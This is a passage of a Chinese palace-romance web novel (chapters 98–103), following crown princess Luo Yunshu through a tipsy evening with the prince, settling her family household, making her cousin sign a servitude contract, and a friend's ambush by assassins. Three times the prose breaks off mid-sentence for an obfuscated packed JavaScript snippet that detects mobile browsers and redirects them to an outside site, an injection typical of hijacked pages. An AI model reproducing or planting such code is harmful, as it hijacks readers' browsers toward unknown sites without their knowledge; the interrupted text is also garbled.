洛云舒立刻起身,唤人进来伺候,梳洗已毕后,她出去见裴行渊。 裴行渊穿着一身月白色绣碧竹的纱袍,他身材修长,随便穿什么都很好看。 “这里很好。谢谢殿下带我到这里来。” 裴行渊笑容温和:“你若是喜欢,随时都可以来。” “是,殿下。” 之后,她随着裴行渊去了旁边的阁楼。 阁楼很高,里面放置了桌椅。 坐在里面,可以俯视周围的一切。 远处,夕阳正在天空中书写着最后的光彩,绚丽而夺目。 二人静静地看着这一幕,谁都没有说话。 渐渐地,太阳落山,星辰于夜幕中闪现。 有下人端来瓜果和饭菜,放在二人面前。 另外,还有一壶酒。 “是果酒,不是很上头,你若是喜欢,可以喝一点。” “好。”洛云舒欣然应允。 她很少饮酒,但这一刻,她觉得喝点也没什么。 毕竟,有裴行渊在。 他在,就出不了什么问题。 他是太子,比她惜命。 所以,她很安全。 果酒清爽,味道也不辛辣。 这样的酒,大概是醉不了人的。 她自顾自地给自己又倒了一杯,等裴行渊侧过身来发现的时候,又一杯果酒已经下肚。 裴行渊失笑:“这酒虽然味道不辛辣,但喝多了也是会上头的。” “没事的,殿下。”洛云舒笑着回应,又吃了一片切好的桃子。 夜空中,群星璀璨。 洛云舒走到阁楼边儿上坐下,趴在窗台上去看外面的星星。 黑夜,让星辰更加明亮。 洛云舒双手托着脸颊,渐渐地累了,索性就脑袋歪倒在胳膊上,侧着脑袋去看。 晚风轻拂,送来无边的清凉和不知名的花香。 洛云舒咯咯地笑出了声。 裴行渊察觉出不对,过来查看,嘴里小声唤道:“云舒。” 洛云舒抬头看他,眼睛笑得弯弯的,秀美的眼眸里,似有星辰在闪烁。 她歪着脑袋,显露出几分俏皮:“殿下叫我?” “是。”裴行渊错愕地应着,眼神却无法从她的脸上挪开。 星辰,烛光,晚风,美人。 这一幕,实在是太美。 酒不醉人,人自醉。 “殿下叫我做什么?”洛云舒凑过来,上半身离裴行渊已经很近。 裴行渊下意识地要保持距离,他后退一步,洛云舒的身子却晃了一下,往一旁栽去。 裴行渊眼疾手快,扶住她的肩膀。 “小心些。”他轻声说。 洛云舒抬头,笑着看他,声音略显俏皮:“有殿下在,不怕。” 裴行渊扶着她,手指僵硬。 许久之后,他才听到自己开口:“为何我在,就不必怕?” “殿下会保护我呀。”说着,洛云舒的脸颊在裴行渊的袖子上蹭了蹭,嘴里小声嘟囔道,“烫。这里凉。” 说完,她索性整张脸都靠在裴行渊的手臂上。 裴行渊只觉得整条手臂都僵了,他不敢动。 直到洛云舒的呼吸变得平稳,轻微,裴行渊才后知后觉地发现,她睡着了。 裴行渊哑然失笑。 以往,她从不曾如此失态。 看来今日这果酒,果真很醉人。 …… 洛云舒也有同感。 两杯果酒下肚,她只觉得世界都安静了。 她像是一朵没什么重量的云,落在一叶缓缓前行的小舟上,飘飘忽忽,晃晃悠悠的,有些晕晕的,但感觉十分美好。 她还在小舟上做了一个梦,梦见自己变成了一只五彩斑斓的小鸟,她鸣叫着穿过树林,飞过云层,又慢慢地下落。 直到,她看到了裴行渊的脸。 无论什么时候,这张脸总是这么俊美。 起初他是醒着的,渐渐地,他在她的视线中睡着了。 睡着的他,很安静。 而且,凑近了看,能看到他修长卷翘的睫毛。 他的确得到了上天的青睐,他有最好的出身,也有最好的容貌。 反正是在梦里,洛云舒肆无忌惮,伸手摸了摸裴行渊的睫毛。 说也奇怪,她一摸,他的眼睛就睁开了,深邃的眸子带着微微的迷惑,静静地看着她。 洛云舒哑然失笑。 她没想到裴行渊还有这么呆的时候。 但,就在这一刻,她听到了知意的声音:“娘娘,您是醒了吗?” 第99章 殿下,我、我不是这个意思 洛云舒有点疑惑。 什么娘娘? 她现在不是一只鸟吗? 很快,外面又传来知意的呼唤声:“娘娘,您若是醒了,奴婢就进来伺候了。” 洛云舒皱着眉看了看周围,是她的卧房没错。 所以,她现在不是鸟了。 既然她不是鸟,那么眼前呆呆的裴行渊也是真的。 顷刻间,洛云舒懵了。 所以,裴行渊在她身边睡着,而且,她还主动伸手摸了裴行渊的睫毛? 天呐! 这是什么惊天大误会! 洛云舒很想解释的,但稍稍一动,她发觉自己手里握着些什么。 偷眼一瞧,是裴行渊的衣袖。 她居然、还攥着他的袖子! 瞬间,洛云舒松开手,又把眼睛闭上,嘴里嘟哝着:“原来,是在做梦啊。” 说完,她翻了个身,侧身朝里面躺着,假装睡着,耳朵却支了起来。 很快,她听到了裴行渊起身的声音和离开的脚步声。 他走了。 洛云舒这才轻轻呼出一口气。 这时候,知意进来。 洛云舒立刻坐起身:“知意,这是怎么回事?” “昨晚您有些醉了,抱着太子殿下的胳膊不放,最后是太子殿下把您抱回来的。把您放下之后,太子殿下原本是要走的,袖子又被您拽住了。奴婢原本是想掰开您的手的,被太子殿下制止了……” 说到最后,知意的声音已经放得很轻。 如果不是亲眼所见,她也不敢相信自家娘娘有这么孟浪的一面。 但事情已经发生了,作为心腹,知意昨晚就把安慰洛云舒的话想好了,此刻顺畅地说了出来:“娘娘,您别把这件事放在心上。毕竟您当时醉了,醉了之后做的事情都是不作数的。想必,殿下也不会怪罪。” 洛云舒连连点头,附和道:“没错,醉了之后发生的事情都是不能作数的。” 话虽如此说,洛云舒却心虚得厉害。 以后,她再也不喝酒了。 哪怕是果酒也不行。 回去的马车上,照旧是二人同乘。 一上马车,洛云舒就觉得脸颊发烫。 果然,那些不作数的话都只能骗骗自己,该难堪的时候还是躲不过。 罢了,伸头也是一刀,缩头也是一刀。 以后他们还要合作,还是把事情说清楚更好。 不能有误会。 “殿下,昨晚……” “云舒,昨晚……” 二人竟是同时开口。 短暂的惊愕之后,洛云舒忙说:“殿下,您、您先说。” 裴行渊温和一笑:“无妨,你先说。” “殿下,昨晚的事情是我不对。我不知果酒的威力,酒后乱……殿下,我、我不是这个意思……” 洛云舒想要往回找补,却是越说越乱。 “……总之,殿下,对不起。”说完,洛云舒的脑袋已经深深地低了下去。 真尴尬。 他们的合作还没结束,万一裴行渊觉得她想攀附他就不好了。 合作者之间,最怕误会。 裴行渊却是一笑:“我也有不对的地方。我不知你的酒量,不该随意拿果酒给你。至于后面的事情,你不清醒,自然也是不作数的。你我都不必放在心上,也不必因此有任何的心理负担。以后该怎样还是怎样,不要因此受了影响。” 裴行渊的话,坦坦荡荡。 洛云舒也立刻表态:“谢殿下体谅。” 裴行渊微微笑着,让人如沐春风:“是我有错在先,怪不得你。” 洛云舒的一颗心,终于落到实处。 好在,裴行渊没有误会她。 她知道,京城里的女子,大半都倾慕裴行渊。 一来,裴行渊的身份摆在那里,想要攀上枝头做凤凰的人有很多。 二来,裴行渊容貌俊美,待人又和善。 一个身份尊贵,容貌俊美又待人和善的夫君,简直是上上之选。 若不是真有这样的人,只怕寻常人做梦都不敢做这样的。 这样的裴行渊,足够让人趋之若鹜。 幸好,他对她没有这样的误会。 话说开了之后,洛云舒的心态就放松了许多。 到了东宫,她和裴行渊分开,回了柔仪殿。 她刚换了身衣服,明曦公主就来了。 一进来,她就围着洛云舒看了一圈:“皇嫂,你和皇兄干嘛去了?” 洛云舒轻描淡写:“去办了件事。” 明曦公主刨根问底:“什么事需要你们俩一起去办?” 洛云舒笑笑:“事关机密,你确定要知道?” “不,我不要知道!”明曦公主连连摇头。 机密的事情,她一概不想知道。 不然,她怕自己不知道什么时候就会说漏嘴。 最稳妥的法子就是不知道。 “你找我就是为了问这个?” “是啊,你们俩都不在,我就是好奇你们干嘛去了。” “有好奇心是好事。” “现在我不好奇了。皇嫂,不跟您说了,我要去学规矩了。” 说完,明曦公主一溜烟儿地走了。 看着她渐行渐远的背影,洛云舒倏然一笑。 真好,一切都在朝着好的方向发展。 这时,知意在一旁问道:“娘娘,您让公主殿下在这里学规矩,是不是有不让她受外面影响的原因?” 知意是她的身边人,洛云舒一直有意培养她。 而且,知意本身就很聪明。 眼下知意有此疑问,洛云舒也乐意给她解惑:“是。明曦以前的举动太过出格,她若是出现在其他人面前,总会在言辞之间被人勾起往事。眼下既然知道事出有因,她自己又想要改变,我自然要助她一臂之力。” 短时间内,明曦公主不出现在其他人面前是最好的。 而且,关于崔嬷嬷的死,她自己也需要疗愈内心的伤口。 但愿,时间会抚平一切伤口。 一整日的时间,洛云舒忙忙碌碌,直到晚上闲下来的时候,她才后知后觉地想起,今日是洛守礼离京,赶赴肃州的日子。 “知意,洛府一家人都走了吗?” “是,老爷带着夫人、大少爷和二小姐一同离京了。” “好,我知道了。”洛云舒语气平静,内心也很平静。 这一刻,她心如止水。 “知意,准备一下,明日上午,我要回一趟洛府。” 第100章 其实,你心里没有霍少远 眼下,洛明谦已经在裴行渊的保举下,入了应天书院。 如今洛府之中,除了二叔一家,还有洛守礼的几位姨娘连同两位庶女。 原先孙氏在的时候,把这几个姨娘和庶女压得死死的。 但,如今孙氏离京,以她那偏颇的性子,还不知她在府中做了什么安排。 这情况对二叔一家不利,所以,她要回洛府一趟,为二叔撑腰。 翌日一早,洛云舒用过早饭之后,就回了洛府。 她回来的消息先一步传回洛府。 故而她的车驾到的时候,如今洛府中余下的人已经在府外等候。 但,府中的几位姨娘站在最前方,而二叔一家站在最后面的位置。 洛云舒的脸色顿时就沉了下去。 在府外,她没发作。 但入了花厅之后,她直接就发难了:“如今府上是半分尊卑都不讲了?” 为首的李姨娘慌忙上前回话,态度恭敬:“娘娘,我等蠢笨,有什么做的不对的,还请娘娘明示。” “如今本宫的父亲离京,府上自然是本宫的二叔洛二爷做主。方才在府外,为何让二爷一家站在最后面?” 李姨娘一脸惊愕:“娘娘,夫人临走前说的清清楚楚,她走之后,府上的一切都交给奴婢做主。” 李姨娘向来是孙氏最忠实的走狗。 果不其然,孙氏把府里的一切都交给了李姨娘。 洛云舒挑眉看过去,尽显身为太子妃的威仪。 她还没开口,李姨娘已经跪了下去。 洛云舒在洛府管家多年,她的手段,李姨娘是知道的。 当下,李姨娘连连磕头:“娘娘,这都是夫人的安排,奴婢只是听命行事啊。” “管家的对牌、钥匙、账册,一并交来。” 李姨娘不敢造次,忙让人把东西都交了过来。 原先的管家随着洛守礼去了肃州,如今提拔上来的新管家是老管家的徒弟,姓方。 方管家一过来,立刻给洛云舒跪下,姿态虔诚。 三年前,方管家的母亲重病,是洛云舒命人请了大夫,花了重金给治好的。 因此,方管家对洛云舒感恩戴德。 “原来是你啊。”洛云舒笑道。 她看了一眼方管家呈上来的府中账册,账册上写的清楚明白,如今府上的银子,只有百余两。 她果然没有猜错。 洛守礼和孙氏离开京城,会带走全部的钱财。 留给府上这百余两,是为了安抚人心。 毕竟,钱财能带走,京城的几个铺子却带不走,还得指望府里的人管着,得了盈利也好及时往肃州送。 孙氏的如意算盘打得很响,只可惜,遇上了她。 洛云舒即刻有了决断:“此后,府上由二叔管家。府中的几位姨娘和两位小姐,份例一如从前。” 宣布完,洛云舒就让其他人散了,只单独留下二叔一家。 二叔有些局促:“云舒,这样是不是不太好?” “二叔,没什么好不好的。如今明谦入了应天书院,日后势必会有一番大造化。您也不能总守着之前的思想,须得自身立起来。不然,以后明谦若是有了大造化,您却立不起来,难免会让人看笑话。” 做父母的,终究是为着儿女着想的。 听洛云舒这么一说,二叔不再推辞。 之后,洛云舒看向洛婉:“婉婉,从前我教你的管家的本事,你可还记得?” “记得的,大姐姐。” “既然如此,就好好地用起来。管家的事,虽然交给了二叔,但二叔要忙外面的金铺,管不了太多,还是要交给你和二婶。” “大姐姐放心,我一定努力做好。” 洛云舒点点头,又把府上现有的人给洛婉做了交代。 最后,她又叮嘱道:“你只管放手去管,若遇到无法决定的事情,只管去东宫找我。” “是,大姐姐。”知道洛云舒有意历练她,洛婉感激莫名。 最后,洛云舒又特意跟二叔二婶交代:“二叔、二婶,洛婉的婚事先不着急。后面我会有安排。” “是,是……云舒,这会不会让你为难?” “不会。”洛云舒笑着摇头,“二叔,婉婉是我妹妹,她对我好,我就不会让她吃亏。” 她不会忘记,当初被逼着为霍少远殉节的时候,是洛婉提出让她逃。 她不会亏待对她好的人。 洛云舒在洛府待了大半日,各方面都做了安排之后,她转而去见孙玉瑶。 如今,孙玉瑶还住在霍少远先前安置她的院子。 院子很小,伺候的人只有两个丫鬟。 哪怕如今孙玉瑶即将做霍少远的正妻,这些还是没有改变。 说白了,虽然霍少远要娶孙玉瑶,但是并没有给她该有的体面。 洛云舒过去的时候,并没有人守门,她进去之后,甚至还看到其中一个丫鬟指着孙玉瑶的鼻子骂,言辞犀利。 “什么少国公夫人,你就是个草鸡!” 孙玉瑶听了这话,连反驳都不敢。 是灵雀疾步上前,甩了那丫鬟两个耳光。 孙玉瑶则犹如看到救命稻草一般,飞扑上来,泪水簌簌落下:“太子妃娘娘,您可算是来了!” 这声太子妃,是说给那两个丫鬟听的。 两个丫鬟立刻跪下,不敢多言。 孙玉瑶声泪俱下:“娘娘,安国公府虽然放出消息说要娶我,但是该有的礼节一概都没有。我爹娘虽然都在来的路上,但是,就算是他们来了京城也是两眼一抹黑,没办法给我撑腰啊。这事儿,您得管啊……” 洛云舒挥手让两个丫鬟退下。 她看着孙玉瑶,嗤笑一声:“曾经你站在我面前,口口声声说为什么你和我最开始都是一样的出身,为何我有的,你却没有?如今我一番筹谋,给了你这泼天的富贵,怎么,你反倒接不住了?” “是他霍少远不做人。自从他知道我不是他的救命恩人之后,他就对我爱答不理的。”孙玉瑶苦笑,“你有句话说的是对的。他霍少远就该娶那镯子!” “看来,你现在对他心存恨意?” “没错。他既然选择了我,就不该抛下我不管。” “其实……”洛云舒看着孙玉瑶,眼神笃定,“其实,你心里没有霍少远。” 第101章 你以为,我会信你? “你、你怎么知道?”孙玉瑶一脸惊愕。 她自以为掩藏得很好,就连霍少远都以为她对他情根深种。 女子的倾慕,是对一个男人最好的嘉奖。 没想到,却没能瞒得了洛云舒。 洛云舒勾唇一笑:“当初霍少远重伤,昏迷不醒,你去安国公府,只关心安国公府的人让不让你进去,却没有问一句霍少远的情况。” 孙玉瑶一脸惊愕:“那个时候你就知道了?” “是。我能看出来的东西,你猜老谋深算的安国公夫人能不能看出来?” 顷刻间,孙玉瑶如坠冰窖,跌坐在地。 反应过来之后,她慌忙去抓洛云舒的衣角:“表姐,你得帮我!不然,我进了安国公府,会被他们磋磨死的!” 安国公夫人的手段,孙玉瑶有所耳闻。 “孙玉瑶,你总觉得明明我们都是一样的出身,为什么却有了不一样的际遇。刚好,现在你有了证明自己的机会。既然我能在东宫站稳脚跟,那么,你也能在安国公府站稳脚跟。” “我?我吗?”孙玉瑶陷入深深的自我怀疑之中。 很快,她就连连摇头:“表姐,我做不到,我真的做不到!求你了,帮帮我吧!” 孙玉瑶跪在地上,连声哀求。 她已经看出来了,安国公府对她并不重视。 在这样的情况下,身份低微的她嫁进去,根本就是死路一条。 姑姑又去了肃州,除了洛云舒,她真是半分倚仗都没有了。 “本宫为什么要帮你?”洛云舒笑着反问。 “本宫”二字,让孙玉瑶彻底看清楚她和洛云舒之间的差距。 “你若帮我在安国公府站稳脚跟,日后我事事都听你差遣。” 洛云舒笑着勾起孙玉瑶的下巴,反问道:“孙玉瑶,你以为,我会信你?” “表姐,我说的都是真的!我发誓!”说着,孙玉瑶竖起右手手掌,开始立誓,“我孙玉瑶今日所言句句属实,若有半句虚言,就叫我肠穿肚烂,不得好死!” 说完,她期待地看向洛云舒。 洛云舒摇摇头:“这些空口白话,我一句都不信。你若真心求我庇护,我倒有个主意。” “什么主意?”孙玉瑶迫不及待。 “**给我,做事事听从我的奴婢。” “**?” “对,**给我,签**契。从此以后,你就是我的奴婢,我对你有生杀予夺之权。如此,方能证明你的忠诚。” 孙玉瑶愣住。 她呆呆地看着洛云舒,喃喃道:“我们是亲得不能再亲的表姐妹啊!你怎能让我**给你?” “不。不是我让你**给我,是你求着我允许你**给我。不过,看你现在的态度,大概是不愿意的。既然不愿意,那这件事也就没有提起的必要。今天就这样吧,再会。” 说完,洛云舒起身就走,没有一丝一毫的留恋。 孙玉瑶却慌了。 她跪扑过去,抓住洛云舒的裙角:“表姐,你让我想想,让我想想啊!” 灵雀过来,一脚踹开孙玉瑶,斥道:“什么东西,也敢来弄脏我们娘娘的裙角!” 这一刻,孙玉瑶彻底看清楚如今她和洛云舒之间的差距。 这一次,如果洛云舒不帮她,她一定会悄无声息地死在安国公府。 她看得出来,霍少远娶她是形势所逼,至于他自己是不愿意的。 在这样的情况下,过上一年半载就安排她暴毙而亡是很有可能的。 在安国公府那种深宅大院,她若是没有靠山,没有帮手,安国公夫人弄死她就犹如碾死一只蚂蚁那么简单。 她不想死。 下一瞬,没有任何犹豫地,孙玉瑶大喊:“我愿意!我愿意签**契,**给你!” 洛云舒点点头,回来坐下,吩咐道:“来人,去请海大小姐和阮大小姐来一趟。” 孙玉瑶一脸疑惑:“让她们来做什么?” 洛云舒瞥了她一眼:“本朝签**契,流程严格。签署的时候需要两名证人在场,也需要去官府盖章,过明路。该走的流程,自然还是要走的。” “表姐不信我?” “是,我不信你。当初我和霍少远有婚约在身,你尚且能和他苟且。你人品低劣至此,谁能信你?” 孙玉瑶无话可说。 没多久,海云澜和阮清辞就过来了。 在二人的见证下,孙玉瑶亲手写下**契,交给洛云舒。 洛云舒仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657338|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细看过之后,盖上自己的小章,把写好的**契交给阮清辞:“后面的事,就拜托你了。” 阮清辞笑着接过:“放心,一定给你办妥当。” 这份**契不能被太多人知道,所以,请阮丞相经手是最稳妥的。 “你们先去南街的惠安茶楼等我,我稍后就过去。” 知道洛云舒还有事要办,阮清辞笑了笑,带着海云澜先走了。 二人走后,洛云舒看向孙玉瑶。 孙玉瑶讨好地笑了笑:“表姐,接下来我该做什么?” “叫我主子。” “什么?” “卖了身的人,该有卖了身之后的自觉。” 孙玉瑶低下头,咬着下唇:“主子。” 洛云舒这才满意地点了点头:“安国公府不重视你,你就得想法子让他们重视你。眼下你有两条路要走,第一,抓住一切可以抓住的机会面见霍少远,向他表露你的爱意。第二,亲自去安国公府,以婚后不愿辱没了安国公府为由,求安国公夫人派人教你规矩。” “这个时候学规矩?” “是,就这个时候学。就算是学不透彻,至少该学会些皮**。为了安国公府的荣耀,安国公夫人不会拒绝你,所以,你要认真学。学会了规矩,先不管有没有里子,你得先把安国公少夫人的架子端起来。就算是狐假虎威,这架子你也一定得端起来。唯有自己立起来,安国公府的人才不会小瞧你,你才会有立足之地,懂吗?” 这话,孙玉瑶听得似懂非懂,只眼巴巴地问道:“表姐,不,主子,必要的时候,您会出手帮我的,对吧?” “是。但是,我不帮蠢人。你若自己犯蠢,我就当**个无关紧要的贱婢。” 孙玉瑶吓得一个哆嗦,慌忙表态:“我会学规矩,我会好好学规矩的!” “你先把我吩咐的事办到。等安国公府派人来教你规矩之后,我会从宫里派个教养嬷嬷过来。她会为你撑腰,也可以提高你的身价,让安国公夫人不敢小瞧你。” “好,我一定办到!” “我不信空口白话,只信事实。记住,我只给你三天的时间。” 说完,洛云舒起身离开。 只是,她刚走出院门,就看到了一个不速之客。 第102章 你心中所想,我都明白 是霍少远。 他朝着洛云舒走过来,目光紧紧锁定在她身上。 还未靠近,寒霜就已经将他拦住。 他置若罔闻,看向洛云舒,皱了皱眉:“事情闹到现在这一步,你满意了?” “是,本宫很满意。”说着,洛云舒唇角带着笑意。 “你就是嘴硬。”霍少远看了看跟在洛云舒身边的人,“我也知道如今你身边人多眼杂,有些话不方便说。但是你记着,你心中所想,我都明白。” 洛云舒愣是给气笑了:“那霍少将军倒是说说看,本宫心里在想些什么?” 霍少远不说话,只是看着洛云舒,那眼神,竟显得有些哀伤。 洛云舒冷笑一声,径直上了马车。 有寒霜拦着,他近不了身。 这个小插曲,洛云舒丝毫也不放在心上,直接去茶楼和海云澜、阮清辞汇合。 看到她们二人,洛云舒顿觉轻松自在,脸上的笑容都真挚了几分。 “云澜,你的婚期定在七月二十六,对吧?” “是。”海云澜满脸是笑,“幸亏你是今天找我,你若是再晚上几天,可就见不了我了。” 按照规矩,女子成亲前的一个月,要安心待嫁,不能出门。 “到时候我为你添妆。” “那就多谢太子妃娘娘了。”说着,海云澜还作势行了个礼。 洛云舒伸手打她,又朝她挥了挥拳头,嗔道:“再敢胡说,揍你。” 海云澜哈哈大笑。 洛云舒和阮清辞也跟着笑。 三个人在一起格外自在,时间也过得格外快。 不得不分别的时候,阮清辞长叹一口气:“唉,我最近在相看。烦**,若不是在相看,我还真不知道京城有这么多歪瓜裂枣。” “细说。”海云澜来了兴致,拉着阮清辞要听八卦。 然后,海云澜就知道了某某大人家的公子爱啃手指头,门牙都啃秃了。 某某大人家的公子每说一句话,嘴角就得抽一下。 某某大人家的公子是个斗鸡眼…… 诸如此类的,听得海云澜笑得肚子都痛了。 阮清辞一脸哀怨:“果然,人的悲欢并不相同。” 洛云舒拍拍她的肩膀,以示安慰:“放心吧,阮伯母一定会为你挑选一位如意郎君的。” 阮夫人爱女心切,绝对不会选一个歪瓜裂枣做女婿的。 这时候,阮清辞突然话锋一转,问洛云舒:“云舒,你说我母亲为何急着给我相看?是因为三皇子的缘故吗?” 三皇子有意求娶阮清辞。 被这么一个人盯着,真是做什么都不安生,生怕不知什么时候就着了他的道儿。 也难怪阮夫人急着给阮清辞相看人家了。 洛云舒怕阮清辞着急,安慰道:“大概是有这个原因在的。” “我猜也是。这个臭苍蝇是真讨厌啊。” 跟洛云舒吐槽完,阮清辞就催洛云舒赶紧上马车。 东宫规矩严,若是回去晚了就不好了。 送走洛云舒,阮清辞自己也上了马车。 她刚坐好,外面却传来一个不满的声音:“你刚刚说谁臭苍蝇?是不是在偷偷骂我?” 是顾彦昭的声音。 顿时,阮清辞气得眼睛都瞪圆了,一把掀开车帘,怒视马车外的顾彦昭:“对,就是在说你!你在这儿干嘛!” “哟,不装温柔贤惠了?”顾彦昭调侃着,圆圆的脸上露出阴谋得逞的笑容。 阮清辞瞪他:“你在这儿做什么?” 顾彦昭利落地甩了一下马鞭:“英杰兄有事,拜托我护送你回府。” 这些日子,但凡阮清辞出门,阮英杰总会暗中保护。 想到这儿,阮清辞觉得心里暖暖的,可面对顾彦昭,却还是没有好脸色:“我哥真是识人不清。” 说完,她放下车帘,坐在马车里生闷气。 然而,马车往前走了没多远,很突然地停下。 阮清辞的额头撞在马车壁上,疼得厉害,她以为顾彦昭在恶作剧,朝着外面吼道:“顾彦昭,你怎么赶的车?” 然而,回应她的,是刀剑相击的声音。 阮清辞猛地愣住。 贴身丫鬟明月小心翼翼地将车帘挑开一条缝儿,压低了声音说道:“小姐,似乎是刺客。” 阮清辞的手猛地攥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666975|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧。 无缘无故的,怎么会有刺客出现? 阮清辞拔下头上的金簪,严阵以待。 顾彦昭就是个纨绔子弟,没什么身手,指望他挡住刺客,完全没有任何希望。 她得早做打算。 故而,车帘被人从外面掀开的瞬间,阮清辞手里的金簪就刺了过去。 然而,金簪被人攥住。 就在阮清辞心生绝望之际,耳边传来顾彦昭的轻笑声:“怎么,你要刺死救命恩人?” 阮清辞满目惊讶:“你、你制服了刺客?” 顾彦昭挑眉:“怎么,不相信哥的本事?” 阮清辞白他一眼,吐槽道:“这刺客该不会是你自己派的,好彰显你的身手吧?” 顾彦昭咧嘴笑了笑,然而,还没说出什么话来,他就双眼一闭,朝着阮清辞栽倒过来。 “顾彦昭,你干什么?”阮清辞恼羞成怒,去推顾彦昭的时候,却摸到了一手的血。 “顾彦昭!” 然而,顾彦昭没有回应。 “清辞!”是阮英杰,他带着人赶来了。 “大哥,我在这里!顾彦昭受伤了!” 阮英杰应了一声,以最快的速度把顾彦昭送到医馆医治。 顾彦昭背部中剑,伤口距离心脉的位置很近,几乎将他贯穿。 顾彦昭伤势严重,阮丞相夜里入宫请旨,将大半个大医院的人请到了阮府去,救治顾彦昭。 消息也传到了洛云舒这里。 她这才知道阮清辞遭遇了刺杀。 而且,先前也遭遇过,但是被阮英杰带人击退,甚至都没惊扰到阮清辞。 “谁干的?”洛云舒找到裴行渊,主动问道。 “这件事是阮英杰在查,没透漏出什么来。不过,阮丞相一向与人为善,再者,就算是要对付阮丞相,也不至于对阮清辞出手。所以,多半是冲着阮清辞去的。” 冲着阮清辞去的,最有可能就是三皇子。 他想求娶阮清辞巩固地位,只可惜被阮家回绝。 他心性狭隘,只怕是怀恨在心了。 想到上一世阮清辞和阮家的惨状,洛云舒的心,猛地揪起。 第103章 殿下,疼吗? “殿下,能否请你帮忙,彻查刺客的身份?”说着,洛云舒情绪激动,抓住裴行渊的手腕,满眼都是祈求。 裴行渊的眼神极快地从洛云舒的脸上掠过,落在她的手上。 她的手抓他,抓得很紧。 大概是因为激动,她的力气有些大,抓得他有些疼。 但,裴行渊并未躲避,只说道:“看来,你和阮大小姐之间关系亲厚。” “是。我落难时,她曾帮助过我。而且,她这次出门,也是因为我。” “不是这样的。”裴行渊的大手覆在洛云舒的手上,语调轻缓,“不要把事情怪罪在自己头上。你请她出门时,并不能预料到会发生今日这样的情况。既是无心之失,就不必因此而自责。” 洛云舒急了:“殿下……” “放心,我会帮忙。” 得到裴行渊的答复,洛云舒才算是放下心来。 相对而言,裴行渊的人手比阮英杰的多,或许,他能查到阮英杰查不到的东西。 夜里,洛云舒辗转难眠。 顾彦昭重伤。 他若是有事,只怕阮清辞也不会心安。 若顾彦昭有事,肃王回京后只怕会兴师问罪。 届时,把阮清辞请出来的她也难辞其咎,若肃王怒气滔天,不知会不会波及裴行渊? 她不愿意给裴行渊添麻烦,更不愿意看到阮清辞难过。 …… 一时之间,洛云舒思绪万千。 就在这时候,床边传来一个温和的声音:“还是睡不着吗?” 洛云舒立刻从床上坐起来:“殿下,我还是于心难安。” “我明白。你想不想学一点防身的招式?” 看到洛云舒惊讶的眼神,裴行渊补充道:“并非是从头学起,只是学一些防身的妙招,若是遇到紧急情况,可以自保。” “可以,我愿意学。” “好,那我们现在开始。” “现在?”洛云舒惊讶万分。 “反正你也睡不着,倒不如把这个时间用上,也算是不虚度光阴。” 洛云舒想想,这倒也是。 她起身下床,穿上外衣。 刚穿好,手腕就被裴行渊攥住。 她正错愕的时候,裴行渊讲解道:“一般而言,男子的力道比女子的大。在这样的情况下被人抓住,你很难挣脱。既然如此,就要学会攻其要害。首先,你可以尝试掰手指。相对于整个手掌而言,掰动手指不需要那么大的力气。来,试试。” 洛云舒认真听着,立刻去掰裴行渊的手指。 起初,她不敢用力。 裴行渊用眼神鼓励她:“别把我当成太子,现在我是挟制你的匪徒。你不动我,我便要杀了你。” 说着,裴行渊的脸上现出凶恶的神色。 洛云舒吓得一哆嗦,立刻用了全力。 然后,她听到了咔嚓一声响。 她慌忙松手,急切道:“殿下,是不是伤到了?” 她是曾做过农活,上山砍过柴的人,手劲儿比一般的女子要大。 但是刚才,她忘了这一茬儿。 “没有。”裴行渊摇摇头,脸色发白。 洛云舒心细,发现他脸色不对,立刻把灯移过来,细看之下,能发现裴行渊的中指呈现出不正常的弯曲。 看样子,像是脱臼了。 不过片刻,裴行渊的额头上就渗出汗珠来。 “殿、殿下,我这就让人去请太医!” 说着,洛云舒就往外跑。 却被裴行渊用另一只手拉住。 “无妨,不必惊动太医。”说着,裴行渊向外走去,到了廊子底下,轻声唤道,“寒七。” 再回来的时候,裴行渊脱臼的手指已经复原,手里还拿着一瓶药油。 看到洛云舒吓坏了,他冲她笑了笑:“这没什么。寒七会接骨,已经不那么疼了。” 说完,裴行渊坐在灯下,拔掉瓶塞,倒出一点药油往手指上涂抹。 但,他只有一只手能动,动作有些笨拙,药油洒出来不少。 洛云舒立刻上前,温声道:“殿下,我来。” 她往掌心倒了一点药油,搓热,双手包住裴行渊受伤的中指,细细揉搓。 这药油要借着手劲儿渗透到皮肤里才能发挥作用。 裴行渊因她而受伤,所以,洛云舒做得很仔细。 却没留意到裴行渊越来越炙热的眼神。 “殿下,疼吗?”洛云舒突然抬头,对上裴行渊炽热的眼神。 裴行渊立刻看向一旁,哑声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666976|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “已经不疼了。” 